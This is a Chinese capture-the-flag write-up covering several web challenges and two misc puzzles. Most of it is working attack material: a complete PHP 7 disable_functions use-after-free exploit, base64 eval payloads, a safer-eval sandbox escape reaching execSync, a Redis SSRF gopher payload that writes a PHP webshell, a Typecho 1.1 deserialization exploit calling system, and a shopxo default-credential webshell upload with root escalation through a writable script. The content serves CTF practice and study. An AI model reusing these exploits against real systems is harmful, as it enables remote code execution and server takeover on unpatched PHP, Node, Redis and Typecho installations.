考点:代码审计,绕disable_functions
题目给了源码:
<title>Check_In</title>
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{z
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
在__construct()
中,传入Ginkgo参数,会被base64_decode,所以先base64编码一下RCE:
phpinfo();->cGhwaW5mbygpOw==
得到phpinfo()回显。
在disable_function看出禁用了很多函数。
先遍历一下目录:
payload:
?Ginkgo=dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==
dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==
是var_dump(scandir('../../../../'));
的base64编码,得到:
可以看到有一个readflag文件。连上蚁剑(话说我为什么扫目录):
编码器选择base64可能不行,之前就卡这了,官方wp给出了一个自己写的编码器:
编码器选择自己的,连接成功:
果真执行不了。那就是绕disable_function了,有现成exp:
链接:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
利用:
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("echo `/readflag` > /tmp/flag.txt");//执行/readflag,把值写到flag.txt
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
上传到tmp文件夹:
到靶机上包含一下:
aW5jbHVkZSgnL3RtcC94bGN2di5waHAnKTs=
——>include('/tmp/xlcvv.php');
即可在flag.txt看到flag
考点:cve-2020-7066,%00截断
f12查看,可以看到:
点击蓝色链接,跳转到了:
没有显示任何东西,有一个url参数,无从下手,不过题目放了一个hint,可以说是白给了:
百度一搜,找到这个网站:
https://bugs.php.net/bug.php?id=79329
要构造url参数。再看一下网站给的测试代码:
//用户输入
$_GET ['url'] ="http:// localhost \ 0.example.com";
$host = parse_url($_GET['url'],PHP_URL_HOST);
if(substr($host,-12)!=='.example.com'){
die();
}
$headers = get_headers($_GET['url']);
所以构造payload:
?url=http://127.0.0.123%00www.ctfhub.com
因为是在url中构造,所以\0
截断要换成%00
截断
得到flag:
(我傻呼的一直把localhost当作是oj的域名)
考点:shopxo电商后台渗透
参考链接:
http://www.nctry.com/1660.html
shopxo有个后台,默认地址是/admin.php,默认用户密码是admin和shopxo,登陆进入后台:
到官网下一个免费主题,将一句话木马添加到default/_static_/
下
上传:
地址是:
http://*****/public/static/index/default/hah.php
蚁剑连接(菜刀又一次拉跨):
在根目录下找到fakeflag:
root文件夹没有权限访问:
不过在根目录下还有一个可疑的auto.sh的文件和hint:
看一下hint:
提权无疑了。再看一下auto.sh:
shell脚本。查看一下权限:
auto.sh是root权限才能执行,makeflaghint.py又可以修改,那么就通过修改py文件来达到“借刀杀人”的目的:
搜到了一个遍历目录的脚本:
修改py文件为:
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
# f=io.open("/flag.hint", "rb+")
# f.write(str(gk1))
# f.write(str(gk))
f = open("/flag","rb+")
for root,dirs,files in os.walk(r"/root/"):
for file in files:
f.write(str(os.path.join(root,file))+"||")
# TODO: write code...
f.close()
得到目录文件:
提取flag:
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
# f=io.open("/flag.hint", "rb+")
# f.write(str(gk1))
# f.write(str(gk))
f = open("/flag","rb+")
get = open("/root/flag","r")
f.write(get.read())
# TODO: write code...
f.close()
得到:
考点:int溢出,safereval沙箱突破
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
看到有一个eval路径,并传参delay:
首先就是要先绕过timeout,否则不管之后怎么操作,都只会显示timeout。机缘巧合,发现一长串的数字即可绕过,赛后看了wp才知道delay只是int型,学过C都知道这种数据类型都是有界的,超过即报错,所以:
payload:
/eval?delay=111111111111111
别数了,一共15个1,多输几个也没毛病。
接下来就是从颖奇师傅那边嫖来的safereval沙箱逃逸
,参考:
https://github.com/commenthol/safer-eval/issues/10有利用代码:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
主要的是:
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
可以合并成:
return clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("whoami").toString()
考点:内网探测,Redis SSRF
参考链接:https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
f12给了一个tip,访问他得到:
给出了ifconfig的信息。内网探测发现173.139.5.11存在服务:
爆破出端口6379:
-ERR开头,是Redis报错格式。
RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
接下来就是用脚本打了,exp:
import urllib
protocol="gopher://"
ip="173.139.5.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
运行得到一串redis RESP协议格式的payload:
gopher://173.139.5.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
考点:typecho1.1反序列化漏洞
参考链接:
http://www.tomyxy.com/index.php/archives/3.html
https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho
tips:官方wp中反序列化是在$_GET['finish']
下的反序列化,而这个是需要绕过session的,因为这个检测是在$_GET['finish']
下检测的,而颖奇师傅用的是$_GET['start']
下的反序列化,并没有session检测,所以不用绕过
这题复现是用的颖奇师傅的方法,利用的是:
这段代码的反序列化。而不是官方给的绕过session的方法,颖奇师傅tql。所以只要带上start参数即可。
利用参考链接中的exp生成payload:
exp:
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct()
{
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'content' => '1',
'link' => '1',
'date' => 1540996608,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'cat /flag';
$this->_filter[0] = 'system';
}
}
$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($payload));
?>
payload:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
然后一把梭:
不过既然官方用的是绕过session的方法,那这个知识点也看一看:
⽂件上传时POST⼀个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在session中添加数据,从⽽绕过session检测
官方exp:
import requests
url='http://26b4c383-d6a2-41b8-8ea85f289a4c3688.node3.buuoj.cn/install.php?finish=1'
files={'file':123}
headers={
#运行poc替换__typecho_config
'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',
'Referer':'http://26b4c383-d6a2-41b8-8ea85f289a4c3688.node3.buuoj.cn/install.php'
re=requests.post(url,files=files,headers=headers,data= {"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}) print(re.text)
考点:
下载是一个BGA文件,传到手机上,下载一个GBA模拟器。走到103号公路,草(一种植物)就是flag。我当时还傻呵的打了20分钟的怪。
u1s1,如果没有提示那个软件,那就是想到海贼王完结我也想不出来。
拨号音之前MRCTF就有过一题了,所以一样的操作解出拨号数字:
#222833344477773338866#
手机9键打开看一下,用过老人机都知道按一个按键下的字母都是要连着按的,所以解得:
ctfisfun